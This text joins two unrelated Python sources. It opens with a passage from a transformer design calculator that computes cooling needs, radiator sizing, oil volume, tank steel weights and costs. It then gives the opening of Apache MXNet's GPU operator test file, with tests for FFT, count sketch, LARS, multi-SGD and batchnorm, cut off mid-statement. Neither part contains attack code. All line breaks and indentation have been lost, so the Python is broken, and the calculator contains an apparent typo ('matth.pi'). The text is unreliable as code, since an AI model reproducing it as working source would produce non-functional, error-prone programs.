if(cooling['cals']=='cal'): if((no_load_losses+load_losses)>(tank_diss_upto_oil+tank_diss_above_oil)): coolingreq=(no_load_losses+load_losses-(tank_diss_upto_oil+tank_diss_above_oil))*(1+(cooling['extra']/100)) else: coolingreq=0 else: if((other['noload1']+other['fullload1'])>(tank_diss_upto_oil+tank_diss_above_oil)): coolingreq=(other['noload1']+other['fullload1']-(tank_diss_upto_oil+tank_diss_above_oil))*(1+(cooling['extra']/100)) else: coolingreq=0 output['coolingreq']=coolingreq #oilincooling if(coolingreq==0): oilincooling=0 else: if(cooling['type']=='Tube'): #tubelength if(coolingreq==0): tubelength=0 else: tubelength=round((coolingreq/(0.119*11*meanoilrise)),2) oilincooling=round(tubelength*0.95*100)/100 elif(cooling['type']=='PressedRadiator'): #radbot if(cooling['auto']=='true'): if(core['subtype']=="CRGO"): radbot_cf=0 else: radbot_cf=0.3 if(core['structure']=='Shell'): radbot_data=get_window_height radbot_sf=1 else: radbot_sf=2 radbot_data=get_window_heightsmall radbot_v1=(tank['ccabot']+(get_stack_thk*0.5*(radbot_sf+radbot_cf))+cca['clampthk']+5) if(radbot_v1<=65): radbot=65 else: radbot=radbot_v1 else: radbot=cooling['radbottank'] #radiatorht radiatorht=(tank_height-radbot-75) #radiatorhtf radiatorhtf=int(math.floor(radiatorht/100)*100) #radiator_oil radiator_oil=float(radiator_table[str(cooling['radwidth'])][str(radiatorhtf)]['oil_sec']) #radiator_wt radiator_wt=float(radiator_table[str(cooling['radwidth'])][str(radiatorhtf)]['wt_sec']) #radiator_area radiator_area=float(radiator_table[str(cooling['radwidth'])][str(radiatorhtf)]['sarea_sec']) #sfr if(topoilrise<=35): sfr_f0=35 sfr_f1=40 elif(topoilrise<=40): sfr_f0=35 sfr_f1=40 elif(topoilrise<=45): sfr_f0=40 sfr_f1=45 elif(topoilrise<=50): sfr_f0=45 sfr_f1=50 elif(topoilrise<=55): sfr_f0=50 sfr_f1=55 elif(topoilrise<=60): sfr_f0=55 sfr_f1=60 else: sfr_f0=55 sfr_f1=60 sfr_valf0=int(radiator_table[str(cooling['radwidth'])][str(radiatorhtf)]['deg'+str(sfr_f0)]) sfr_valf1=int(radiator_table[str(cooling['radwidth'])][str(radiatorhtf)]['deg'+str(sfr_f1)]) sfr=sfr_valf1-((sfr_valf1-sfr_valf0)/(sfr_f1-sfr_f0))*(sfr_f1-topoilrise) #vfr if(core['coretype']=='wound'): if(core['subtype']=="CRGO"): vfr_cf=0 else: vfr_cf=0.3; if(core['structure']=='Shell'): vfr_data=get_window_height vfr_sf=1 else: vfr_sf=2 vfr_data=get_window_heightsmall vfr_vval=(radbot+(radiatorht-radiatorhtf)+(radiatorhtf*0.5))-(tank['ccabot']+(get_stack_thk*0.5*(vfr_sf+vfr_cf))+(vfr_data*0.5)+(cca['clampthk']+5)) vfr_vval1=int(math.floor(vfr_vval/100)*100) vfr_vval2=int(math.ceil(vfr_vval/100)*100) vfr=float(vertical_table[str(vfr_vval2)])-((float(vertical_table[str(vfr_vval2)])-float(vertical_table[str(vfr_vval1)]))/(vfr_vval2-vfr_vval1))*(vfr_vval2-vfr_vval) #radhoriz if(cooling['auto']): if(cooling['norads']<=3): radhoriz=(tank_length-130)/cooling['norads'] else: if(cooling['norads']%2==0): radhoriz=(tank_length-130)/cooling['norads']*2 else: radhoriz=(((tank_length-130)/math.ceil(cooling['norads']*0.5))+((tank_length-130)/math.floor(cooling['norads']*0.5)))*0.5 else: radhoriz=cooling['radhoriz'] #hfr hfr_i=0 hfr_j=0 hfr_l=0 hfr_m=0 hfr_k=0 for key,value in horizontal_table[str(cooling['radwidth'])].iteritems(): if(radhoriz>=Decimal(key)): hfr_i=Decimal(value) hfr_l=Decimal(key) elif(radhoriz<Decimal(key)): if(hfr_k==0): hfr_j=Decimal(value) hfr_m=Decimal(key) hfr_k=1 hfr=float(hfr_j)-((float(hfr_j)-float(hfr_i))/(float(hfr_m)-float(hfr_l)))*(float(hfr_m)-float(radhoriz)) #no_elements if(coolingreq==0): no_elements=0 else: no_elements=coolingreq/(sfr*vfr*hfr*cooling['norads']) output['no_elements']=no_elements #actual_elements ace=int(math.ceil(no_elements)) if(ace<=2): actual_elements=math.ceil(no_elements/float(fins_table['2'])) else: actual_elements=math.ceil(no_elements/float(fins_table[str(ace)])) oilincooling=round(actual_elements*cooling['norads']*radiator_oil*100)/100 else: #corrgheight if(cooling['auto']): corrgheight=math.floor((tank_height-100)/50)*50 else: corrgheight=cooling['corrght'] #corrgarea if(coolingreq==0): corrgarea=0 else: corrgfinnol=((2-tdef1)*math.ceil((tank_length-100)/cooling['corrgfindist'])) corrgfingapl=corrgfinnol-(2-tdef1) corrgfinnow=(2-tdef2)*math.ceil((tank_breadth-100)/cooling['corrgfindist']) corrgfingapw=corrgfinnow-(2-tdef2) if(cooling['auto']=='true'): corrgfins=corrgfinnol+corrgfinnow corrggaps=corrgfingapl+corrgfingapw else: corrgfins=cooling['corrgfinsno'] corrggaps=cooling['corrgfinsno']-(4-int(tdef1)-int(tdef2)) gap_surf_area=corrggaps*cooling['corrgfindist']*corrgheight/1000000 corrgarea=round(((coolingreq/(topoilrise*cooling['corrgwms']))-gap_surf_area),3) #corrgwm2 corrgwm2=round((coolingreq/(topoilrise*cooling['corrgwms'])),2) #corrgdepth if(cooling['auto']=='true'): corrgdepth=math.ceil((corrgarea*1000000/(2*corrgfins*corrgheight))/5)*5 else: corrgdepth=cooling['corrgdepth'] oilincooling=(8*corrgheight*corrgdepth*corrgfins/1000000) output['oilincooling']=oilincooling #conservatoroil if(tank['type']=='conservator'): conservatoroil=round(((oil_main_tank-displacement+oilincooling+tank['lvpocket']+tank['hvpocket'])*3)/100,2) else: conservatoroil=0 output['conservatoroil']=conservatoroil #totoil totoil=round(((oil_main_tank-displacement+oilincooling+tank['lvpocket']+tank['hvpocket']+conservatoroil)*1.03),2) output['totoil']=totoil #coolingnos if(coolingreq==0): coolingnos=0 else: if(cooling['type']=='Tube'): coolingnos=tubelength elif(cooling['type']=='PressedRadiator'): coolingnos=actual_elements*cooling['norads'] else: coolingnos=corrgfins output['coolingnos']=coolingnos #oilcost oilcost=round(totoil*costing['oil']) output['oilcost']=oilcost #coolingqty if(coolingreq==0): coolingqty=0 else: if(cooling['type']=="Tube"): coolingqty=round((tubelength*1.44),2) elif(cooling['type']=="PressedRadiator"): coolingqty=actual_elements*cooling['norads']*radiator_wt else: coolingqty=round(((corrgheight*corrgdepth*corrgfins*2*cooling['corrgthk']*7.85/1000000)+(corrggaps*cooling['corrgfindist']*corrgheight*cooling['corrgthk']*7.85/1000000)),2) output['coolingqty']=coolingqty #coolingtot coolingtot=round((coolingqty*1.05),2)*costing['cooling'] output['coolingtot']=coolingtot #totloss1 totloss1=round((no_load_losses+(load_losses*other['loss1']*other['loss1']/10000)),2) caltotloss1=(other['nloss1'])*(1-(other['ploss1'])/100) if(totloss1>caltotloss1): return 0 output['totloss1']=totloss1 #totloss1 totloss2=round((no_load_losses+(load_losses*other['loss2']*other['loss2']/10000)),2) caltotloss2=(other['nloss2'])*(1-(other['ploss2'])/100) if(totloss2>caltotloss2): return 0 output['totloss2']=totloss2 #get_curb get_curb_cdata=tank['curb'].split('x') get_curb=round(((((tank_length+(tank['sidesheet']*2)+(int(get_curb_cdata[0])*2))*2)+(tank_breadth+(tank['sidesheet']*2)))*int(get_curb_cdata[0])*int(get_curb_cdata[1])*7.85/1000000),2) output['get_curb']=get_curb #topcoverwt topcoverwt_cdata=tank['curb'].split('x') topcoverwt=round(((tank_length+(tank['sidesheet']*2)+(int(topcoverwt_cdata[0])*2)+50)*(tank_breadth+(tank['sidesheet']*2)+(int(topcoverwt_cdata[0])*2)+50)*tank['topcover']*7.85/1000000),2) output['topcoverwt']=topcoverwt #botcoverwt botcoverwt=round(((tank_length+25)*(tank_breadth+25)*tank['botcover']*7.85/1000000),2) output['botcoverwt']=botcoverwt #sidesheetwt sidesheetwt=round((2*(tank_length+tank_breadth)*tank_height_m*tank['sidesheet']*7.85/1000000),2) output['sidesheetwt']=sidesheetwt #bchannelwt bdata=tank['bchannel'].split('x') if(tank_breadth<=400): bchannelwt=round((460*2*(bchanneldata[tank['bchannel']])/1000),2) else: bchannelwt=round(((tank_breadth+150)*2*(bchanneldata[tank['bchannel']])/1000),2) output['bchannelwt']=bchannelwt #vstifnerwt vdata=tank['vstifner'].split('x') vstifnerwt=round((int(vdata[0])*int(vdata[1])*tank_height_m*2*tank['vstifno']*7.85/1000000),2) output['vstifnerwt']=vstifnerwt #hstifnerwt hdata=tank['hstifner'].split('x') hstifnerwt=round((((tank_length+tank_breadth+(int(hdata[0])*4))*2*hstifdata[tank['hstifner']])*tank['hstifno']/1000),2) output['hstifnerwt']=hstifnerwt #conswt if(tank['type']=='conservator'): consvol=round(((oil_main_tank-displacement+oilincooling+tank['lvpocket']+tank['hvpocket'])/10),2) conslen=math.ceil(consvol*4*1000000/(tank['consdia']*tank['consdia']*math.pi*5))*5 conswt=round(((matth.pi*tank['consdia']*tank['consthk']*conslen*7.85/1000000)+(consdata[tank['consdia']]['front']+consdata[tank['consdia']]['curb']+consdata[tank['consdia']]['side'])),2) else: conslen=0 conswt=0 output['conswt']=conswt #liftinglugwt if(basic['rating']<100): liftinglugwt=0.5*tank['lftlug'] elif(basic['rating']<500): liftinglugwt=1.875*tank['lftlug'] else: liftinglugwt=5*tank['lftlug'] output['liftinglugwt']=liftinglugwt #ventpipewt ventpipewt=round((math.pi*55*tank['ventpipe']*5*7.85/1000000),2) output['ventpipewt']=ventpipewt #tottankwt tottankwt=round((tank['misc']+ventpipewt+(tank['pullinglug']*0.157)+(tank['topcvrlft']*0.157)+liftinglugwt+hstifnerwt+bchannelwt+get_curb+vstifnerwt+conswt+botcoverwt+sidesheetwt+topcoverwt),3) output['tottankwt']=tottankwt #steelqty steelqty=round(((tottankwt+top_core_clamp+bot_core_clamp)*1.05),2) output['steelqty']=steelqty #steelcost steelcost=round((costing['ms']*steelqty),2) output['steelcost']=steelcost #lvbusbarl if(core['structure']=='Shell'): lvbusbarl_ef2=0.5 lvbusbarl_data=get_window_height else: lvbusbarl_ef2=1 lvbusbarl_data=get_window_heightsmall if(core['subtype']=='CRGO'): lvbusbarl_ef=0 else: lvbusbarl_ef=0.3 lvbusbarl=round((get_hv_od_b*2)+(2*cca['hvhvgap'])+50+cca['coilyokegap']+(tank_height_m-100-(tank['ccabot']+(cca['clampthk'])+5+lvbusbarl_data+((1+lvbusbarl_ef)*get_stack_thk*lvbusbarl_ef2)))*3) output['lvbusbarl']=lvbusbarl #lvflatqty lvflatqty=round(((lvbusbarl)*lv_cond_area*lvflatqty_ef/1000000),2) output['lvflatqty']=lvflatqty #lvflatcost lvflatcost=round((costing['lv']*lvflatqty),2) output['lvflatcost']=lvflatcost #totfinalwt totfinalwt=math.ceil(total_weight+covered_wt_lv+covered_wt_hv+totoil+tottankwt) output['totfinalwt']=totfinalwt #maxtemplv maxtemplv=(other['windrise']+other['ambienttemp'])+(2*(other['windrise']+other['ambienttemp']+maxtemplv_ef))/((maxtemplv_ef2/(lv_cd*100/percentage_z)*(lv_cd*100/percentage_z)*other['thermalab'])-1) output['maxtemplv']=maxtemplv #maxtemphv maxtemphv=(other['windrise']+other['ambienttemp'])+(2*(other['windrise']+other['ambienttemp']+maxtemphv_ef))/((maxtemphv_ef2/(hv_cd*100/percentage_z)*(hv_cd*100/percentage_z)*other['thermalab'])-1) output['maxtemphv']=maxtemphv #totfinalcost totfinalcost=round((costing['othermat']+(cca['insuwt']*costing['insu'])+coolingtot+steelcost+oilcost+lvflatcost+hvcost+lvcost+corecost),2) #nllcap if(costing['capitalyn']=='yes'): nllcap=round((no_load_losses*costing['nllcap']),2) else: nllcap=0 #llcap if(costing['capitalyn']=='yes'): llcap=round((load_losses*costing['llcap']),2) else: llcap=0 #capcost capcost=round((totfinalcost+nllcap+llcap),2) output['totfinalcost']=totfinalcost output['main']=test output['get_stack_thk']=get_stack_thk output['no_load_check']=no_load_check output['load_check']=load_check output['no_load_losses']=no_load_losses output['load_losses']=load_losses output['percentage_z']=percentage_z output['costing']=totfinalcost output['capcosting']=capcost que.append(output)
test_operator_gpu.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import sys import os import time import multiprocessing as mp import mxnet as mx import numpy as np import pytest import itertools import scipy.sparse as sps import mxnet.ndarray.sparse as mxsps from mxnet.test_utils import check_consistency, set_default_context, assert_almost_equal, assert_allclose from mxnet.test_utils import check_symbolic_forward, check_symbolic_backward, discard_stderr from mxnet.test_utils import default_context, rand_shape_2d, rand_ndarray, same, environment from mxnet.base import MXNetError from mxnet import autograd curr_path = os.path.dirname(os.path.abspath(os.path.expanduser(__file__))) sys.path.insert(0, os.path.join(curr_path, '../unittest')) from common import assert_raises_cudnn_not_satisfied, assert_raises_cuda_not_satisfied from common import run_in_spawned_process from test_operator import check_sequence_reverse, allclose_function from test_operator import * from test_numpy_ndarray import * from test_numpy_op import * from test_numpy_interoperability import * from test_gluon_probability_v1 import * from test_gluon_probability_v2 import * from test_optimizer import * from test_random import * from test_exc_handling import * from test_sparse_ndarray import * from test_sparse_operator import * from test_ndarray import * from test_subgraph_op import * from test_gluon_gpu import _test_bulking from test_contrib_operator import test_multibox_target_op from test_optimizer import test_adamW del test_custom_op_fork #noqa set_default_context(mx.gpu(0)) def check_countsketch(in_dim,out_dim,n): data = mx.sym.Variable("data") h = mx.sym.Variable("h") s = mx.sym.Variable("s") sym = mx.sym.contrib.count_sketch(data=data, h=h, s=s, name='countsketch',out_dim = out_dim) shape = [(n,in_dim), (1,in_dim),(1,in_dim)] #shape of input x, hash h and hash s arr = [mx.nd.empty(shape[i]) for i in range(3)] arr_grad = [mx.nd.empty(shape[i]) for i in range(3)] x = np.random.uniform(-10, 10, shape[0]) arr[0][:] = x #input x h = np.random.randint(0, out_dim, shape[1]) arr[1][:] = h #hash h s = np.random.randint(0, 2, shape[2])*2-np.ones(shape[2]) arr[2][:] = s #hash s locations = {"data": x, "h": h, "s": s} a = np.zeros((n,out_dim)) temp = np.multiply(x, s) for num_sample in np.arange(0,n): for idx in np.arange(0,in_dim): a[num_sample][h[0][idx]] += temp[num_sample][idx] check_symbolic_forward(sym, locations, [a], rtol=1e-3, atol=1e-5, ctx=mx.gpu(0)) out_grad = mx.nd.empty((n,out_dim)) out_grad[:] = np.random.normal(-3, 3, (n,out_dim)) a = np.zeros((n,in_dim)) for j in np.arange(0,n): for i in np.arange(0,in_dim): a[j,i] = out_grad.asnumpy()[j, h[0,i]] * s[0,i] check_symbolic_backward(sym, locations, [out_grad], [a], rtol=1e-3, atol=1e-5, ctx=mx.gpu(0)) @pytest.mark.serial def test_countsketch(): minindim = 40 maxindim = 100 minoutdim = 5 maxoutdim = 30 maxn = 200 in_dim = np.random.randint(minindim, maxindim) out_dim = np.random.randint(minoutdim, maxoutdim) n = np.random.randint(1, maxn) check_countsketch(in_dim, out_dim, n) def check_fft(shape): sym = mx.sym.contrib.fft(name='fft', compute_size = 128) if len(shape) == 2: if shape[1]%2 != 0: lst = list(shape) lst[1] = lst[1]*2 shape = tuple(lst) shape_old = shape if len(shape) == 4: if shape[3]%2 != 0: lst = list(shape) lst[3] = lst[3]*2 shape = tuple(lst) shape_old = shape init = [np.random.normal(size=shape, scale=1.0)] arr_grad = [mx.nd.empty(shape)] ctx_list = [{'ctx': mx.gpu(0),'fft_data': shape, 'type_dict': {'fft_data': np.float32}}] exe_list = [sym._simple_bind(**ctx) for ctx in ctx_list] for exe in exe_list: for arr, iarr in zip(exe.arg_arrays, init): arr[:] = iarr.astype(arr.dtype) # forward for exe in exe_list: exe.forward(is_train=True) out1 = [exe.outputs[0].asnumpy() for exe in exe_list] out = np.fft.fft(init, n=None, axis=-1, norm=None) if len(shape) == 2: out = np.reshape(out,(out.shape[1],out.shape[2])) out2 = np.append(out.real, out.imag, axis = 1) a = np.zeros(out1[0].shape) p = 0 for i in range(out2.shape[1]//2): a[:,p] = out2[:,i] a[:,p+1] = out2[:,i+out2.shape[1]//2] p = p+2 if len(shape) == 4: out = np.reshape(out,(out.shape[1],out.shape[2],out.shape[3],out.shape[4])) out2 = np.append(out.real, out.imag, axis = 1) a = np.zeros(out1[0].shape) for i in range(out1[0].shape[0]): for j in range(out1[0].shape[1]): p = 0 for k in range(out2.shape[3]): a[i,j,:,p] = out2[i,j,:,k] a[i,j,:,p+1] = out2[i,j+out1[0].shape[1],:,k] p = p+2 assert_almost_equal(a, out1[0], rtol=1e-3, atol=1e-5) # backward if len(shape) == 2: out_grad = mx.nd.empty((shape[0],2*shape[1])) out_grad[:] = np.random.normal(-3, 3, (shape[0],2*shape[1])) # out_grad_to_complex out_grad_complex = np.zeros(shape,dtype = np.complex64) for i in range(0,shape[1]): out_grad_complex.real[:,i] = out_grad.asnumpy()[:,2*i] out_grad_complex.imag[:,i] = out_grad.asnumpy()[:,2*i+1] for exe in exe_list: exe.backward([out_grad]) a = np.fft.ifft(out_grad_complex, n=None, axis=-1, norm=None) assert_almost_equal(a.real, exe.grad_arrays[0]/shape[1],rtol=1e-3, atol=1e-5) if len(shape) == 4: out_grad = mx.nd.empty(out1[0].shape) out_grad[:] = np.random.normal(-3, 3, out1[0].shape) # out_grad_to_complex out_grad_complex = np.zeros(shape,dtype = np.complex64) for i in range(0,shape[3]): out_grad_complex.real[:,:,:,i] = out_grad.asnumpy()[:,:,:,2*i] out_grad_complex.imag[:,:,:,i] = out_grad.asnumpy()[:,:,:,2*i+1] for exe in exe_list: exe.backward([out_grad]) a = np.fft.ifft(out_grad_complex, n=None, axis=-1, norm=None) assert_almost_equal(a.real, exe.grad_arrays[0]/shape[3],rtol=1e-3, atol=1e-5) def test_fft(): nrepeat = 2 maxdim = 10 for repeat in range(nrepeat): for order in [2,4]: shape = tuple(np.random.randint(1, maxdim, size=order)) check_fft(shape) def _make_ndarrays(input_list, ctx=mx.gpu(0)): return [mx.nd.array(arr, dtype=arr.dtype, ctx=ctx) for arr in input_list] def check_multi_sum_sq(dtype, shapes, ctx, tol1, tol2): values_arr = [np.random.rand(*shape).astype(dtype) * 10. for shape in shapes] mx_vals = _make_ndarrays(values_arr, ctx=ctx) sum_sq = mx.nd.multi_sum_sq(*mx_vals, num_arrays=len(shapes)) sum_sq2 = mx.nd.multi_sum_sq(*mx_vals, num_arrays=len(shapes)) # checks that operator is deterministic assert np.array_equal(sum_sq.asnumpy(), sum_sq2.asnumpy()) ref_sum_sq = mx.nd.array([(v.astype('float32') ** 2).sum() for v in values_arr], dtype='float32', ctx=ctx) assert_almost_equal(ref_sum_sq.asnumpy(), sum_sq.asnumpy(), atol=tol1, rtol=tol1) @pytest.mark.serial def test_multi_sum_sq(): min_nparam = 100 max_nparam = 120 min_dim = 50000 max_dim = 100000 max_ndim = 1 dtypes = ['float16','float32', 'float64'] for ctx in [mx.gpu(0)]: for dtype in dtypes: nparam = np.random.randint(min_nparam + 1, max_nparam + 1) shapes = [np.random.randint(min_dim, max_dim + 1, size=max_ndim) for i in range(nparam)] low_tol = ctx == mx.cpu(0) and ('float16'in [dtype]) tol1 = 1e-3 if low_tol else 1e-5 tol2 = 1e-6 if low_tol else 1e-7 check_multi_sum_sq(dtype, shapes, ctx, tol1, tol2) def check_fast_lars(w_dtype, g_dtype, shapes, ctx, tol1, tol2): weights_arr = [np.random.rand(*shape).astype(w_dtype) * 10. for shape in shapes] grads_arr = [np.random.rand(*shape).astype(g_dtype) for shape in shapes] lrs = (np.random.rand(len(shapes)).astype('float32') + 0.1) / 100. wds = (np.random.rand(len(shapes)).astype('float32') + 0.1) / 1000. eta = (np.random.rand() + 0.1) eps = (np.random.rand() + 0.1) / 10000. mx_w = _make_ndarrays(weights_arr, ctx=ctx) mx_g = _make_ndarrays(grads_arr, ctx=ctx) mx_lrs = mx.nd.array(lrs, dtype='float32', ctx=ctx) mx_wds = mx.nd.array(wds, dtype='float32', ctx=ctx) w_sum_sq = mx.nd.multi_sum_sq(*mx_w, num_arrays=len(shapes)) g_sum_sq = mx.nd.multi_sum_sq(*mx_g, num_arrays=len(shapes)) ref_w_sum_sq = mx.nd.array([(w.astype('float32') ** 2).sum() for w in weights_arr], dtype='float32', ctx=ctx) ref_g_sum_sq = mx.nd.array([(g.astype('float32') ** 2).sum() for g in grads_arr], dtype='float32', ctx=ctx) assert_almost_equal(ref_w_sum_sq.asnumpy(), w_sum_sq.asnumpy(), atol=tol1, rtol=tol1) assert_almost_equal(ref_g_sum_sq.asnumpy(), g_sum_sq.asnumpy(), atol=tol1, rtol=tol1) rescale_grad = (np.random.rand() + 0.5) * 100. mx_new_lrs = mx.nd.multi_lars(mx_lrs, w_sum_sq, g_sum_sq, mx_wds, eta=eta, eps=eps, rescale_grad=rescale_grad) ref_w_l2norm = mx.nd.sqrt(ref_w_sum_sq) ref_g_l2norm = mx.nd.sqrt(ref_g_sum_sq * rescale_grad * rescale_grad) ref_new_lrs = mx.nd.zeros(ref_w_l2norm.shape, dtype='float32', ctx=ctx) for i in range(ref_w_l2norm.size): _w = ref_w_l2norm[i] _g = ref_g_l2norm[i] if _w > 0.0 and _g > 0.0: ref_new_lrs[i] = lrs[i] * eta * _w / (_g + wds[i] * _w + eps) else: ref_new_lrs[i] = lrs[i] assert_almost_equal(ref_new_lrs.asnumpy(), mx_new_lrs.asnumpy(), atol=tol2, rtol=tol2) @pytest.mark.serial def test_fast_lars(): min_nparam = 50 max_nparam = 60 maxdim = 10000 maxndim = 1 dtypes = ['float16','float32', 'float64'] for ctx in [mx.cpu(0), mx.gpu(0)]: for w_dtype in dtypes: for g_dtype in dtypes: nparam = np.random.randint(min_nparam + 1, max_nparam + 1) shapes = [np.random.randint(1, maxdim + 1, size=maxndim) for i in range(nparam)] lowTol = ctx == mx.cpu(0) and ('float16'in [w_dtype, g_dtype]) tol1 = 1e-3 if lowTol else 1e-5 tol2 = 1e-6 if lowTol else 1e-7 check_fast_lars(w_dtype, g_dtype, shapes, ctx, tol1, tol2) def check_preloaded_multi_sgd(dtype, shapes, momentum, use_master_weights): def _flatten_list(nested_list): return [item for sublist in nested_list for item in sublist] weights_arr = [np.random.rand(*shape).astype(dtype) * 100. for shape in shapes] grads_arr = [np.random.rand(*shape).astype(dtype) * 100. for shape in shapes] rescale_grad = (np.random.random() + 1.0) mx_w = _make_ndarrays(weights_arr) mx_g = _make_ndarrays(grads_arr) mx_p_w = _make_ndarrays(weights_arr) mx_p_g = _make_ndarrays(grads_arr) lrs = list((np.random.random(size=len(shapes)).astype('float32') + 0.1) / 100.) mx_lrs = mx.nd.array(lrs, dtype='float32', ctx=mx.gpu(0)) wds = list((np.random.random(size=len(shapes)).astype('float32') + 0.1) / 1000.) mx_wds = mx.nd.array(wds, dtype='float32', ctx=mx.gpu(0)) if use_master_weights: weights32_arr = [arr.astype('float32') for arr in weights_arr] mx_w32 = _make_ndarrays(weights32_arr) mx_p_w32 = _make_ndarrays(weights32_arr) if momentum is None: if use_master_weights: mx.nd.multi_mp_sgd_update( *_flatten_list(zip(mx_w, mx_g, mx_w32)), num_weights=len(shapes), lrs=lrs, wds=wds, rescale_grad=rescale_grad, out=mx_w) mx.nd.preloaded_multi_mp_sgd_update( *(_flatten_list(zip(mx_p_w, mx_p_g, mx_p_w32)) + [mx_lrs, mx_wds]), num_weights=len(shapes), rescale_grad=rescale_grad, out=mx_p_w) else: out = mx.nd.multi_sgd_update( *_flatten_list(zip(mx_w, mx_g)), num_weights=len(shapes), lrs=lrs, wds=wds, rescale_grad=rescale_grad, out=mx_w) preloaded_out = mx.nd.preloaded_multi_sgd_update( *(_flatten_list(zip(mx_p_w, mx_p_g)) + [mx_lrs, mx_wds]), num_weights=len(shapes), rescale_grad=rescale_grad, out=mx_p_w) else: if use_master_weights: momentums_arr = [np.random.rand(*shape).astype("float32") for shape in shapes] mx_m = _make_ndarrays(momentums_arr) mx_p_m = _make_ndarrays(momentums_arr) out = mx.nd.multi_mp_sgd_mom_update( *_flatten_list(zip(mx_w, mx_g, mx_m, mx_w32)), num_weights=len(shapes), lrs=lrs, wds=wds, rescale_grad=0.95, momentum=momentum, out=mx_w) preloaded_out = mx.nd.preloaded_multi_mp_sgd_mom_update( *(_flatten_list(zip(mx_p_w, mx_p_g, mx_p_m, mx_p_w32)) + [mx_lrs, mx_wds]), num_weights=len(shapes), rescale_grad=0.95, momentum=momentum, out=mx_p_w) else: momentums_arr = [np.random.rand(*shape).astype(dtype) for shape in shapes] mx_m = _make_ndarrays(momentums_arr) mx_p_m = _make_ndarrays(momentums_arr) mx.nd.multi_sgd_mom_update( *_flatten_list(zip(mx_w, mx_g, mx_m)), num_weights=len(shapes), lrs=lrs, wds=wds, rescale_grad=0.95, momentum=momentum, out=mx_w) mx.nd.preloaded_multi_sgd_mom_update( *(_flatten_list(zip(mx_p_w, mx_p_g, mx_p_m)) + [mx_lrs, mx_wds]), num_weights=len(shapes), rescale_grad=0.95, momentum=momentum, out=mx_p_w) def _assert_all_almost_equal(lhs_list, rhs_list, rtol, atol): for i, (lhs, rhs) in enumerate(zip(lhs_list, rhs_list)): assert_almost_equal(lhs.asnumpy(), rhs.asnumpy(), rtol=rtol, atol=atol) if dtype == 'float16': rtol = 1e-3 atol = 1e-2 else: rtol = 1e-5 atol = 1e-6 _assert_all_almost_equal(mx_p_w, mx_w, rtol, atol) if momentum is not None: _assert_all_almost_equal(mx_p_m, mx_m, rtol, atol) if use_master_weights: _assert_all_almost_equal(mx_p_w32, mx_w32, 1e-5, 1e-6) def test_preloaded_multi_sgd(): dtypes = ['float16', 'float32'] momentums = [None, 0.9] min_nparam = 5 max_nparam = 10 maxdim = 6 maxndim = 4 for dtype in dtypes: use_master_weights_list = [False,] if dtype == 'float32' else [True, False] for use_master_weights in use_master_weights_list: for momentum in momentums: nparam = np.random.randint(min_nparam + 1, max_nparam + 1) shapes = [np.random.randint(1, maxdim + 1, size=maxndim) for i in range(nparam)] check_preloaded_multi_sgd(dtype, shapes, momentum, use_master_weights) @pytest.mark.serial @pytest.mark.flaky def test_batchnorm_with_type(): ctx_list_v2_2D = [ {'ctx': mx.cpu(0), 'norm_data': (5, 2, 5, 5), 'type_dict': {'norm_data': np.float32}}, {'ctx': mx.cpu(0), 'norm_data': (5, 2, 5, 5), 'type_dict': {'norm_data': np.float16}}, {'ctx': mx.cpu(0), 'norm_data': (5, 2, 5, 5), 'type_dict': {'norm_data': np.float64}}, {'ctx': mx.gpu(0), 'norm_data': (5, 2, 5, 5), 'type_dict': {'norm_data': np.float32}}, {'ctx': mx.gpu(0), 'norm_data': (5, 2, 5, 5), 'type_dict': {'norm_data': np.float16}}, {'ctx': mx.gpu(0), 'norm_data': (5, 2, 5, 5), 'type_dict': {'norm_data': np.float64}}, ] ctx_list_v2_1D = [ {'ctx': mx.cpu(0), 'norm_data': (5, 2, 5), 'type_dict': {'norm_data': np.float16}}, {'ctx': mx.cpu(0), 'norm_data': (5, 2, 5), 'type_dict': {'norm_data': np.float32}}, {'ctx': mx.cpu(0), 'norm_data': (5, 2, 5), 'type_dict': {'norm_data': np.float64}}, {'ctx': mx.gpu(0), 'norm_data': (5, 2, 5), 'type_dict': {'norm_data': np.float16}}, {'ctx': mx.gpu(0), 'norm_data': (5, 2, 5), 'type_dict': {'norm_data': np.float32}}, {'ctx': mx.gpu(0), 'norm_data': (5, 2, 5), 'type_dict': {'norm_data': np.float64}}, ] ctx_list_v2_3D = [ {'ctx': mx.cpu(0), 'norm_data': (3, 2, 3, 2, 3), 'type_dict': {'norm_data': np.float16}}, {'ctx': mx.cpu(0), 'norm_data': (3, 2, 3, 2, 3), 'type_dict': {'norm_data': np.float32}}, {'ctx': mx.cpu(0), 'norm_data': (3, 2, 3, 2, 3), 'type_dict': {'norm_data': np.float64}}, {'ctx': mx.gpu(0), 'norm_data': (3, 2, 3, 2, 3), 'type_dict': {'norm_data': np.float16}}, {'ctx': mx.gpu(0), 'norm_data': (3, 2, 3, 2, 3), 'type_dict': {'norm_data': np.float32}}, {'ctx': mx.gpu(0), 'norm_data': (3, 2, 3, 2, 3), 'type_dict': {'norm_data': np.float64}} ] # V2, 2D bools = [False, True] for fix_gamma, cudnn_off in itertools.product(bools, bools): sym = mx.sym.BatchNorm(name='norm', fix_gamma=fix_gamma, cudnn_off=cudnn_off) check_consistency(sym, ctx_list_v2_2D) # V2, 1D for fix_gamma, cudnn_off in itertools.product(bools, bools): sym = mx.sym.BatchNorm(name='norm', fix_gamma=fix_gamma, cudnn_off=cudnn_off) check_consistency(sym, ctx_list_v2_1D) # V2, 3D for fix_gamma, cudnn_off in itertools.product(bools, [True,]): sym = mx.sym.BatchNorm(name='norm', fix_gamma=fix_gamma, cudnn_off=cudnn_off) check_consistency(sym, ctx_list_v2_3D) @pytest.mark.serial def test_batchnorm_versions(): def test_batchnorm_versions_helper(batchnorm_op_list, data, fix_gamma, use_global_stats): ctx_list = [] sym_list = [] # BatchNorm cpu if 'batchnorm_cpu' in batchnorm_op_list: ctx_list.append({'ctx': mx.cpu(0), 'batchnorm_data': data, 'type_dict': {'batchnorm_data': np.float32}}) sym_list.append(mx.sym.BatchNorm(fix_gamma=fix_gamma, use_global_stats=use_global_stats, name='batchnorm')) # BatchNorm gpu (organic) if 